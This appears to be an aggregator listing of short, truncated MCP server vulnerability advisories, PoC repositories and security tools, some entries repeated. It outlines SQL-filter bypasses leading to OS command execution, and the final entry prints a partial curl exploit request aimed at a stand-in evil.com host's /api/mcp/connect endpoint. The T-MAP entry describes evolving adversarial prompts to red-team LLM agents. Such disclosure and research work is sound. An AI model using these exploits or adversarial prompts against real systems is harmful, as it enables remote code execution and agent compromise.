functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import

MCP setfunctypeversion Package Alias RCE via Unsanitized pnpm install + Dynamic Import Summary The setfunctypeversion MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier functype@, and installs it via pnpm add without any...

GHSA-WCJJ-9M6G-2FR2 functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import

MCP setfunctypeversion Package Alias RCE via Unsanitized pnpm install + Dynamic Import Summary The setfunctypeversion MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier functype@, and installs it via pnpm add without any...

CVE-2026-87911

An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... ...

CVE-2026-23744

CVE-2026-23744 Exploit to MCPJam Inspector Install libraries with: pip install -r requirements.txt - use python CVE-2026-23744 --help to info MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code...

CVE-2026-87911 Read-only enforcement bypass enabling operating system command execution in the SQL validation component of Amazon awslabs postgres-mcp-server

An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... ...

CVE-2026-87911

CVE-2026-87911 is a CRITICAL (CVSS 9.6) OS command injection vulnerability in the SQL validation component of Amazon awslabs postgres-mcp-server prior to version 1.1.7. The flaw lies in the read-only enforcement , which can be bypassed by injecting a crafted COPY ... TO PROGRAM statement into con...

EUVD-2026-75127

An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... ...

sentrymcp

sentrymcp A static + runtime security scanner for MCP Model Context Protocol servers. Between January and April 2026, security researchers disclosed 40+ CVEs across MCP server implementations, and a 2026 Endor Labs scan of public MCP servers found 82% vulnerable to at least one OWASP MCP Top 10...

CVE-2026-85788

Incomplete list of disallowed inputs in the mutable SQL detector component in Amazon awslabs mysql-mcp-server might allow context-dependent actors to bypass the read-only enforcement gate and reach file-read and file-write SQL sinks via SQL inline comments that the regex engine does not treat as...

EUVD-2026-75104

Incomplete list of disallowed inputs in the mutable SQL detector component in Amazon awslabs mysql-mcp-server might allow context-dependent actors to bypass the read-only enforcement gate and reach file-read and file-write SQL sinks via SQL inline comments that the regex engine does not treat as...

CVE-2026-85788

CVE-2026-85788 affects the mutable SQL detector component in Amazon awslabs mysql-mcp-server . An incomplete list of disallowed inputs allows context-dependent actors to bypass the read-only enforcement gate by crafting SQL inline comments that the regex engine does not treat as whitespace, reach...

CVE-2026-85788 Incomplete list of disallowed inputs in awslabs mysql-mcp-server

Incomplete list of disallowed inputs in the mutable SQL detector component in Amazon awslabs mysql-mcp-server might allow context-dependent actors to bypass the read-only enforcement gate and reach file-read and file-write SQL sinks via SQL inline comments that the regex engine does not treat as...

CVE-2026-22785

CVE-2026-22785 Reproduction Tutorial Vulnerability Overview CVE : CVE-2026-22785 Impact : orval = 7.18.0 CVSS : 9.3 CRITICAL Type : Code Injection Vulnerability Principle orval 7.18.0 directly concatenates the summary field from the OpenAPI specification into the template when generating MCP serv...

CVE-2026-23744-POC

CVE-2026-23744 — MCP Server Unauthenticated RCE Proof-of-Concept exploit byd3vn0mi Overview CVE-2026-23744 is an unauthenticated Remote Code Execution RCE vulnerability in MCP-compatible servers exposed on port 6274. The /api/mcp/connect endpoint accepts a serverConfig object that allows callers ...

mcp-server-attestation

Part of theStudioMeyer MCP Stack — Built in Mallorca 🌴 · ⭐ if you use it mcp-server-attestation Layer-2 supply-chain hardening for Model Context Protocol servers. Ed25519-signed tool manifests, runtime spawn-attestation, default-deny argument sanitizer. Direct response to: OX Security...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication. For authorized...

mcp-server

Offensive360 MCP Server Run Offensive360 SAST scans from inside your AI assistant. This Model Context Protocol server gives Claude Code, Claude Desktop, Cursor, and any other MCP client two tools: Tool| What it does ---|--- o360scanpath| Zips a local directory, runs a full SAST scan 60+ languages...

PT-2026-89138

An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... ...

T-MAP

T-MAP: Red-Teaming LLM Agents with Trajectory-aware Evolutionary Search T-MAP is a trajectory-aware evolutionary search framework for red-teaming LLM agents over MCP servers. It iteratively generates and mutates adversarial prompts guided by execution trajectories, mapping the agent's vulnerabili...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: root@kitploit: /api/mcp/connect method via curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...